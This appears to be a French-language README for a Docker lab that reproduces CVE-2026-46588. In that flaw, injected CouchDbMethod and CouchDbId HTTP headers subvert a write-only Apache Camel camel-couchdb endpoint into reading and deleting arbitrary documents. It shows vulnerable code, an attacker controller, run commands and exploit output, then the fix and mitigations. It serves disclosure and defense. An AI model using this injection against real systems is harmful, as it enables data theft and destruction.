
Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0)
CouchDb* Reproducteur d'injection d'en-tête (CVE-2026-46588)Ce projet démontre une injection d'en-tête de message dans le composant camel-couchdb d'Apache Camel, suivie sous CVE-2026-46588. Le composant lit plusieurs en-têtes Exchange pour contrôler son comportement — CouchDbDatabase, CouchDbSeq, CouchDbId (identifiant de document), CouchDbRev (révision de document) et CouchDbMethod (la méthode d'opération). Les valeurs chaînes de ces constantes d'en-tête (définies dans CouchDbConstants) utilisent le préfixe CouchDb plutôt que le préfixe standard utilisé par tous les autres composants. La stratégie de filtrage entrante de Camel ne bloque que les noms d'en-tête commençant par / , donc ces noms traversent le filtre entrant inchangés. Lorsqu'une route expose un point d'entrée HTTP (par exemple platform-http) devant un producteur couchdb, un client HTTP non fiable peut définir ces en-têtes directement et .
CamelHttpHeaderFilterStrategyCamelcamelCette preuve de concept démontre l'impact comme confusion d'opération : un point de terminaison d'ingestion de document en écriture seule est transformé en lecture puis suppression d'un document arbitraire en injectant CouchDbMethod (et CouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → divulgation (lit un document que le point de terminaison n'expose jamais, et divulgue son _rev).CouchDbMethod=DELETE (avec le _rev divulgué) → destruction (supprime ce document).| Propriété | Valeur |
|---|---|
| Composant | camel-couchdb |
| Classe affectée | org.apache.camel.component.couchdb.CouchDbProducer lisant CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Improper Input Validation |
| Impact | Un client HTTP définit des en-têtes CouchDb* → outrepasser l'opération / document → divulgation, suppression, altération |
| Conditions préalables | Une route expose un producteur couchdb derrière un consommateur HTTP (par ex. platform-http) ; non authentifié lorsque le consommateur l'est |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| Correctif | PR apache/camel#23228 (main), rétroporté via #23230 (4.18.x) / #23231 (4.14.x) |
| Crédit | Yu Bao (PayPal) |
Même famille d'injection d'en-tête que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 et CVE-2026-47323. Le correctif partage sa PR avec l'avis frère CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
Le correctif (4.14.8 / 4.18.3 / 4.21.0) renomme les valeurs des en-têtes selon la convention Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — afin qu'elles soient bloquées par le HttpHeaderFilterStrategy entrant comme tous les autres en-têtes de contrôle Camel. Les noms des champs constants Java sont inchangés.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
L'intention de l'auteur de la route est un point de terminaison d'ingestion en écriture seule — les clients POSTent des documents à sauvegarder, rien de plus. Comme durcissement documenté, la route supprime l'espace de noms des en-têtes de contrôle Camel à la périphérie. Cela n'aide pas : l'en-tête d'opération est nommé CouchDbMethod, pas CamelCouchDbMethod, donc il n'est supprimé ni par removeHeaders("Camel*") ni par le filtre d'en-tête HTTP intégré — et le producteur change d'opération en fonction de celui-ci.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
Note : le pom épingle
gson.version=2.13.2(la version livrée avec Camel). Spring Boot 3.2.0 épinglerait sinon l'ancien gson 2.10.1, qui manque decom.google.gson.internal.GsonTypeset fait que le SDK Cloudant fourni lanceNoClassDefFoundErrorà l'exécution.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Toute route avec un producteur couchdb accessible depuis un consommateur HTTP. En-têtes injectables : CouchDbMethod (passe de sauvegarde à get / delete), CouchDbId (document cible pour get), et _id / _rev du corps pour delete. Le côté consommateur ajoute CouchDbDatabase et CouchDbSeq.
Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (PR d'avis #23228). Après le correctif, les en-têtes de contrôle portent le préfixe Camel (CamelCouchDbMethod, CamelCouchDbId, …) et sont filtrés à la frontière HTTP comme tous les autres en-têtes de contrôle.
En attendant la mise à niveau, supprimez les en-têtes affectés des messages entrants non fiables avant qu'ils n'atteignent le producteur, par ex. .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") et .removeHeader("CouchDbMethod") devant le point de terminaison couchdb, ou appliquez une HeaderFilterStrategy personnalisée qui bloque ces noms.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.